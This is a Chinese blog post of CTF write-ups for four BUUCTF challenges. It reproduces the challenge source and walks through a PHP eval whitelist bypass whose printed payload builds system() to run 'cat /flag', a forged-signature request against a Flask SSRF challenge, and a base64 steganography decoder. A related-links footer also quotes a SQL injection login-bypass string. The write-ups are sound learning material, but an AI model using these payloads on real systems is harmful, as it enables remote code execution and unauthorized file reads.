4 buuctf解题

最新推荐文章于 2024-06-14 11:17:39 发布
最新推荐文章于 2024-06-14 11:17:39 发布
阅读量967 收藏 21
点赞数 22
文章标签： android
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_75178803/article/details/136265368
版权
[CISCN 2019 初赛]Love Math1

打开题目

题目源码

<?php
error_reporting(0);
//听说你很喜欢数学，不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

php中，我们可以将我们的函数名，通过字符串的方式进行传参，然后进行变量的动态调用函数而达到执行函数的目的

一开始是限制了传入参数的长度，然后有黑名单过滤，最后是白名单，这里的白名单是常用的数学函数。

先去传入一个参数，看一下是否能进行命令执行

/?c=19-1

得到

这里黑名单过滤了不少东西，常规的cat/flag都不能使用了，这里有个知识点是php中可以把函数名通过字符串的方式传递给一个变量，然后通过此变量动态调用函数比如下面的代码会执行 system(‘cat/flag’);

$a='system';
$a('cat/flag');

所以传参为

?c=($_GET[a])($_GET[b])&a=system&b=cat /flag

得到

替换一下

?c=($_GET[pi])($_GET[abs])&pi=system&abs=cat /flag

依旧是

但是这里的_GET是无法进行直接替换，而且[]也被黑名单过滤了

这里就需要去了解一下他给的白名单里面的函数了

这里说一下需要用到的几个函数

这里先将_GET来进行转换的函数
hex2bin() 函数

hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符。

这里的_GET是ASCII 字符，用在线工具将_GET转换为十六进制

hex2bin(5f 47 45 54) 就是 _GET,但是hex2bin()函数也不是白名单里面的，而且这里的5f 47 45 54也不能直接填入，这里会被

 preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); 

来进行白名单的检测。

这里的hex2bin()函数可以通过base_convert()函数来进行转换

base_convert()函数能够在任意进制之间转换数字

这里的hex2bin可以看做是36进制，用base_convert来转换将在10进制的数字转换为16进制就可以出现hex2bin

hex2bin=base_convert(37907361743,10,36)

然后里面的5f 47 45 54要用dechex()函数将10进制数转换为16进制的数

dechex(1598506324)，1598506324转换为16进制就是5f 47 45 54

最后payload为

/?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag

得到flag

[BSidesCF 2019]Futurella1

打开题目

页面英文提示：阻止外星人！我们在垃圾箱里发现了这张纸条。我们认为它来自入侵的外星人！你能读一下吗？

查看源代码直接就得到了flag

最后还发现，直接将所有内容复制到其他地方会看到原本文字

Resistance is futile! Bring back Futurella or we'll invade!

Also, the flag is flag{ddc88d97-0505-4a91-b442-e7bd74b02358}

[De1CTF 2019]SSRF Me1

查看提示得到

打开题目

题目代码很乱，可放在pycharm里Ctrl+Alt+L将代码格式化一下

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)


class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False


#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)


@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
@app.route('/')
def index():
    return open("code.txt","r").read()


def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"



def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
    return hashlib.md5(content).hexdigest()


def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False


if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0')

先看/De1ta这个路由

@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))

可以看到在/De1ta页面我们get方法传入param参数值，在cookie里面传递action和sign的值

然后将传递的param通过waf这个函数。

if(waf(param)):
        return "No Hacker!!!!"

先去看waf函数

waf函数找到以gopher或者file开头的，所以在这里过滤了这两个协议，使我们不能通过协议读取文件

def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False

接着在challenge里面，用我们传进去的参数构造一个Task类对象，并且执行它的Exec方法

我们接着去看Exec方法

task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())

这是Exec方法

def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

先通过checkSign方法检测登录。

到checkSign方法里面去看看

def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False

我们传入的参数action和param经过getSign这个函数之后与sign相等，就返回true

返回true之后则进入if语句里面，来追踪一下getSign这个函数，它主要是三个东西拼接然后进行md5

def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()

/geneSign这个路由可以生成我们需要的md5

@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)

它的action只有"scan"，我们回到之前 if (self.checkSign()):中，当它为真会执行它下面的两条if语句

if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

就是action中必须要有"scan"和"read"两个才能读取flag

试着访问了一下 /geneSign?param=flag.txt ，给出了一个 md5 4699ef157bee078779c3b263dd895341 ，但是只有 scan 的功能，想加入 read 功能就要另想办法了

def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)

看了一下逻辑，在 getSign 处很有意思

def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()

不妨假设 secert_key 是 xxx ，那么在开始访问 /geneSign?param=flag.txt 的时候，返回的 md5 就是 md5('xxx' + 'flag.txt' + 'scan') ，在 python 里面上述表达式就相当于 md5(xxxflag.txtscan) ，这就很有意思了。

直接构造访问 /geneSign?param=flag.txtread ，拿到的 md5 就是 md5('xxx' + 'flag.txtread' + 'scan') ，等价于 md5('xxxflag.txtreadscan') ，这就达到了目标。

访问 /De1ta?param=flag.txt 构造 Cookie: sign=7a2a235fcc9218dfe21e4eb400a11b5e;action=readscan 即可

发包

[ACTF新生赛2020]base64隐写1

解压得到一个图片和一个文档

扫码啥也没有（被骗了扫码关注人家的公众号了）

base64隐写，利用脚本

def get_base64_diff_value(s1, s2):
    base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
    res = 0
    for i in xrange(len(s2)):
        if s1[i] != s2[i]:
            return abs(base64chars.index(s1[i]) - base64chars.index(s2[i]))
    return res


def solve_stego():
    with open('ComeOn!.txt', 'rb') as f:
        file_lines = f.readlines()
        bin_str = ''
        for line in file_lines:
            steg_line = line.replace('\n', '')
            norm_line = line.replace('\n', '').decode('base64').encode('base64').replace('\n', '')
            diff = get_base64_diff_value(steg_line, norm_line)
            print diff
            pads_num = steg_line.count('=')
            if diff:
                bin_str += bin(diff)[2:].zfill(pads_num * 2)
            else:
                bin_str += '0' * pads_num * 2
            print goflag(bin_str)


def goflag(bin_str):
    res_str = ''
    for i in xrange(0, len(bin_str), 8):
        res_str += chr(int(bin_str[i:i + 8], 2))
    return res_str


if __name__ == '__main__':
    solve_stego()

得到

0
ACTF{6aseb4_f33!}

所以flag为

flag{6aseb4_f33!}

参考文章：

[De1CTF 2019]SSRF Me 1-CSDN博客

https://www.cnblogs.com/zzjdbk/p/13685940.html 

 

访白鹿
关注
  • 22
    点赞
  • 踩
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
BUUCTF逆向前八题
01-24
内容为BUUCTF里reserve的前八题自己的一些解题思路
BUUCTF-MISC-WP(详细解题思路)
01-27
BUUCTF-MISC-WP(详细解题思路)
buuctf解题记录
qq_59235193的博客
10-29 936
buuctf刷题记录
BUUCTF解题web十一道
qq_45837896的博客
05-26 1249
[2019极客大挑战]EASYSQL 到页面里发现是一个登录框 回想注入思路，先判断注入类型，然后尝试登陆绕过 使用万能密码username=’ or 1=1 or ‘1’=‘1’# &password=asd [2019极客大挑战]HAVEFUN 打开页面发现是一只猫猫，点了两下拖了两下发现没什么 然后老规矩F12查看有没有提示信息 发现有这么一段代码，可以对页面传参cat，传cat='dog’就执行了一段代码，不知道是什么，尝试了一下直接出了flag… [SUCTF]EASYSQL 进入发现是
buuctf pwn解题
2301_80477504的博客
02-01 435
1.
5 buuctf解题
m0_75178803的博客
02-24 620
发现当username不为空，并且admin等于6d0bc1和password的md5值的前六位的值相同就登陆。shtml是一种用于SSI技术的文件——Server Side Include--SSI。SSI是为WEB服务器提供的一套命令，这些命令只要直接嵌入到HTML文档的注释内容之中即可。扫描一下后台，最后用御剑扫描到了index.php.swp。然后利用shtml的命令执行，可控参数是username。输入账户名admin和密码进入系统，发现在响应头中有。用hackbar传一下参数。
8 buuctf解题
m0_75178803的博客
02-24 347
这里什么都没有，但是题目又是音符，所以肯定有什么藏起来了。数据，利用脚本将这些数据以二进制流形式写入文件。发现文件头错误，修改文件头：52 61 72。低头看一下键盘，将描述中提到的字母连接起来。运行一下下载的程序，会出现一个1.txt。尝试爆破，先尝试掩码爆破四位数字。下载附件，得到一个.txt文件。，解压得到图片，flag在图片。进入选项，打开，勾选隐藏文字。根据提示，查看ntfs流。即可看到附加的ntfs流。打开有一个docx文件。没有发现东西，修改后缀。保存即可得到正常的图片。
BUUCTF解题——MD5
2301_79966764的博客
10-08 91
使用MD5在线解密工具破解。提示说MD5，打开文件。
BUUCTF MISC 解题思路及实现过程
Shuras1223的博客
04-02 1222
buuctf misc 题解及答案
CTF_BUUCTF_MIS解题_05大白
abraham的博客
09-26 8109
CTF
BUUCTF解题记录 WarmUp
m0_46576074的博客
05-11 422
BUUCTF解题记录 [HCTF 2018]WarmUp** 发现source.php 访问发现hint.php ` 构造获取flag的语句 详细参考https://www.cnblogs.com/xhds/p/12266072.html 最终payload:http://dd6ac72f-565f-4e02-8778-a2930b07c833.node3.buuoj.cn/index.php?file=hint.php?../../../../../ffffllllaaaagggg 获取flag 参考
4 基于Hough变化的答题卡识别_答题卡_4基于Hough变化的答题卡识别_
10-02
基于Hough变化的答题卡识别
usaco_milk4解题
12-21
usaco第五章milk4的解题代码，供算法初学者参考
4级英语考试的解题技巧
05-31
方便考生应考，解题技巧详细，例子很多，考生很容易理解， 不管是听力还是理解题都又解析！
Java中如何调用mysql中函数
codedadi的博客
06-10 740
在前端直接调用 MySQL 中的函数是不直接可能的，因为前端（如 JavaScript 在浏览器中）没有直接访问数据库的能力。请注意，安全性是这种交互中的一个重要考虑因素。确保你的后端 API 是安全的，并验证所有传入的请求和参数以防止潜在的安全风险，如 SQL 注入攻击。设置CallableStatement的参数（如果需要）：如果你的函数需要参数，使用CallableStatement的setXXX方法来设置它们。在你的后端服务中，编写一个 API 端点，该端点调用 MySQL 数据库中的函数。
PHP中的while循环：用法、技巧与最佳实践
最新发布
NatLindsay的博客
06-14 318
在PHP编程中，while循环是一种基本且常用的控制结构，用于重复执行代码块，直到指定条件为假。while循环在处理未知迭代次数的任务时特别有用，例如读取文件内容、处理用户输入或动态生成数据等。与for循环不同，while循环适用于那些无法预先确定循环次数的情境。，只要条件为真，循环体内的代码就会被一遍又一遍地执行。理解和灵活运用while循环，可以帮助开发者更高效地处理重复性任务，提高代码的可读性和维护性。
【MySQL】服务器配置和管理
p_fly的博客
06-09 807
MySQL服务器通常说的是mysqld程序。mysqld 是 MySQL 数据库服务器的核心程序，负责处理客户端的请求、管理数据库和执行数据库操作。管理员可以通过配置文件和各种工具来管理和监控 mysqld 服务器的运行本文将介绍下面三个内容：服务器启动选项：可以在命令行和配置文件中指定，用于配置服务器的行为和特性。服务器系统变量：反映了启动选项的当前状态和值，其中一些变量可以在服务器运行时修改。服务器状态变量：包含了关于运行时操作的计数器和统计信息。
Android.基本用法学习笔记
2301_78955442的博客
06-10 441
先在strings.xml声明变量方法1.方法2.
buuctf wireshark
09-12
但是，请注意在buuctf wireshark题目中的具体解题思路仍然是通过Wireshark分析流量包。 总结起来，对于buuctf wireshark题目，您需要下载Wireshark软件，打开下载的文件，并根据题目提示找到管理员登陆网站时的流量...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值